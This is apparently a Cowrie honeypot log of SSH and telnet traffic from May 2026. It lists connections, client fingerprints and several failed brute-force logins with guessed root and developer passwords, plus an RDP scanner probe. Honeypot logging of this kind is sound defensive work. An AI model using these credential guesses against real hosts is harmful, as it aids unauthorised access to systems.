{"eventid":"cowrie.session.closed","duration":0.005008220672607422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:26.735767Z","src_ip":"192.119.13.58","session":"c2677dfec314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:26.968300Z","src_ip":"43.163.121.249","session":"ffbc41cd58ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64046,"dst_ip":"10.17.0.5","dst_port":22,"session":"1af21e22d72b","protocol":"ssh","message":"New connection: 152.42.212.128:64046 (10.17.0.5:22) [session: 1af21e22d72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:29.231634Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:29.236827Z","src_ip":"152.42.212.128","session":"1af21e22d72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:29.244713Z","src_ip":"152.42.212.128","session":"1af21e22d72b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.420127630233765,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:29.634134Z","src_ip":"192.119.13.58","session":"2c580bb37e38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.860597372055054,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:34.603710Z","src_ip":"192.119.13.58","session":"b4f2b6fd04cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58598,"dst_ip":"10.17.0.5","dst_port":23,"session":"d895bb6b6f78","protocol":"telnet","message":"New connection: 192.119.13.58:58598 (10.17.0.5:23) [session: d895bb6b6f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:38.176416Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":39990,"dst_ip":"159.203.135.109","dst_port":22,"session":"42cd145bd223","protocol":"ssh","message":"New connection: 150.109.25.130:39990 (159.203.135.109:22) [session: 42cd145bd223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:38.732622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:38.737778Z","src_ip":"150.109.25.130","session":"42cd145bd223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:38.982516Z","src_ip":"150.109.25.130","session":"42cd145bd223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.93794775009155,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:39.428410Z","src_ip":"192.119.13.58","session":"2099506893de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2021","message":"login attempt [root/2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:39.994261Z","src_ip":"150.109.25.130","session":"42cd145bd223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40372,"dst_ip":"10.17.0.5","dst_port":23,"session":"42036c33e050","protocol":"telnet","message":"New connection: 192.119.13.58:40372 (10.17.0.5:23) [session: 42036c33e050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:40.555218Z"}
{"eventid":"cowrie.session.closed","duration":0.004783153533935547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:40.559869Z","src_ip":"192.119.13.58","session":"42036c33e050","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:41.241692Z","src_ip":"150.109.25.130","session":"42cd145bd223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.71412134170532,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:42.004475Z","src_ip":"192.119.13.58","session":"50bb599ad0b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52648,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e0c8abe876","protocol":"telnet","message":"New connection: 192.119.13.58:52648 (10.17.0.5:23) [session: 40e0c8abe876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:43.350811Z"}
{"eventid":"cowrie.session.closed","duration":47.077736139297485,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:43.631673Z","src_ip":"192.119.13.58","session":"a59f9be021f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.02706742286682,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:43.712770Z","src_ip":"192.119.13.58","session":"4ee12ef1e217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.171364068984985,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:44.379793Z","src_ip":"192.119.13.58","session":"6677d0f84066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.960641622543335,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:45.721802Z","src_ip":"192.119.13.58","session":"432263975232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57148,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd8fe53e06c2","protocol":"telnet","message":"New connection: 192.119.13.58:57148 (10.17.0.5:23) [session: bd8fe53e06c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:51.392555Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36450,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd0a748d8990","protocol":"telnet","message":"New connection: 192.119.13.58:36450 (10.17.0.5:23) [session: dd0a748d8990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:53.257170Z"}
{"eventid":"cowrie.session.closed","duration":0.006379842758178711,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:53.263384Z","src_ip":"192.119.13.58","session":"dd0a748d8990","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11057806015015,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:55.161364Z","src_ip":"192.119.13.58","session":"4d17ecc7e2e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53604,"dst_ip":"10.17.0.5","dst_port":23,"session":"12ec8f9697a7","protocol":"telnet","message":"New connection: 192.119.13.58:53604 (10.17.0.5:23) [session: 12ec8f9697a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:57.450188Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32776,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe2fe39d780","protocol":"telnet","message":"New connection: 192.119.13.58:32776 (10.17.0.5:23) [session: 4fe2fe39d780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:35:59.225390Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":38978,"dst_ip":"159.203.135.109","dst_port":22,"session":"f39d65ac75bc","protocol":"ssh","message":"New connection: 69.6.222.198:38978 (159.203.135.109:22) [session: f39d65ac75bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:00.135208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:00.142466Z","src_ip":"69.6.222.198","session":"f39d65ac75bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:00.260659Z","src_ip":"69.6.222.198","session":"f39d65ac75bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password1","message":"login attempt [root/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:00.747618Z","src_ip":"69.6.222.198","session":"f39d65ac75bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:01.866587Z","src_ip":"69.6.222.198","session":"f39d65ac75bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60722,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d841e0d7a89","protocol":"telnet","message":"New connection: 192.119.13.58:60722 (10.17.0.5:23) [session: 7d841e0d7a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:06.241049Z"}
{"eventid":"cowrie.session.closed","duration":0.0063517093658447266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:06.247278Z","src_ip":"192.119.13.58","session":"7d841e0d7a89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42754,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f80d5a3c9f5","protocol":"telnet","message":"New connection: 192.119.13.58:42754 (10.17.0.5:23) [session: 5f80d5a3c9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:08.846948Z"}
{"eventid":"cowrie.session.closed","duration":0.005666255950927734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:08.852476Z","src_ip":"192.119.13.58","session":"5f80d5a3c9f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.93682074546814,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:09.610489Z","src_ip":"186.195.16.41","session":"860b58bbf47d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46102,"dst_ip":"10.17.0.5","dst_port":23,"session":"856a3106493d","protocol":"telnet","message":"New connection: 192.119.13.58:46102 (10.17.0.5:23) [session: 856a3106493d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:09.671679Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":35506,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcf68e49914a","protocol":"ssh","message":"New connection: 43.134.100.175:35506 (159.203.135.109:22) [session: fcf68e49914a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:10.879453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:10.894146Z","src_ip":"43.134.100.175","session":"fcf68e49914a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:11.135822Z","src_ip":"43.134.100.175","session":"fcf68e49914a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dspacedspace","message":"login attempt [root/dspacedspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:12.115556Z","src_ip":"43.134.100.175","session":"fcf68e49914a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:13.356568Z","src_ip":"43.134.100.175","session":"fcf68e49914a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40772,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c90f6338ad9","protocol":"telnet","message":"New connection: 192.119.13.58:40772 (10.17.0.5:23) [session: 0c90f6338ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:15.392753Z"}
{"eventid":"cowrie.session.closed","duration":34.00759410858154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:17.358325Z","src_ip":"192.119.13.58","session":"40e0c8abe876","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.21042513847351,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:18.386748Z","src_ip":"192.119.13.58","session":"d895bb6b6f78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56446,"dst_ip":"10.17.0.5","dst_port":23,"session":"d72a373c915a","protocol":"telnet","message":"New connection: 192.119.13.58:56446 (10.17.0.5:23) [session: d72a373c915a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:19.237657Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34608,"dst_ip":"10.17.0.5","dst_port":23,"session":"964e35647bad","protocol":"telnet","message":"New connection: 192.119.13.58:34608 (10.17.0.5:23) [session: 964e35647bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:27.948494Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":54706,"dst_ip":"159.203.135.109","dst_port":22,"session":"f85e9bf76c68","protocol":"ssh","message":"New connection: 150.109.25.130:54706 (159.203.135.109:22) [session: f85e9bf76c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:28.604679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:28.609726Z","src_ip":"150.109.25.130","session":"f85e9bf76c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:28.848851Z","src_ip":"150.109.25.130","session":"f85e9bf76c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39032,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f68b626960f","protocol":"telnet","message":"New connection: 192.119.13.58:39032 (10.17.0.5:23) [session: 4f68b626960f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:29.080034Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"danion1994","message":"login attempt [root/danion1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:29.838611Z","src_ip":"150.109.25.130","session":"f85e9bf76c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:31.081641Z","src_ip":"150.109.25.130","session":"f85e9bf76c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":57392,"dst_ip":"10.17.0.5","dst_port":22,"session":"d33090b67989","protocol":"ssh","message":"New connection: 175.118.127.138:57392 (10.17.0.5:22) [session: d33090b67989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:31.651768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:31.657248Z","src_ip":"175.118.127.138","session":"d33090b67989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:31.836252Z","src_ip":"175.118.127.138","session":"d33090b67989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer2024","message":"login attempt [developer/developer2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:32.582654Z","src_ip":"175.118.127.138","session":"d33090b67989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:36:33.764261Z","src_ip":"175.118.127.138","session":"d33090b67989","protocol":"ssh"}
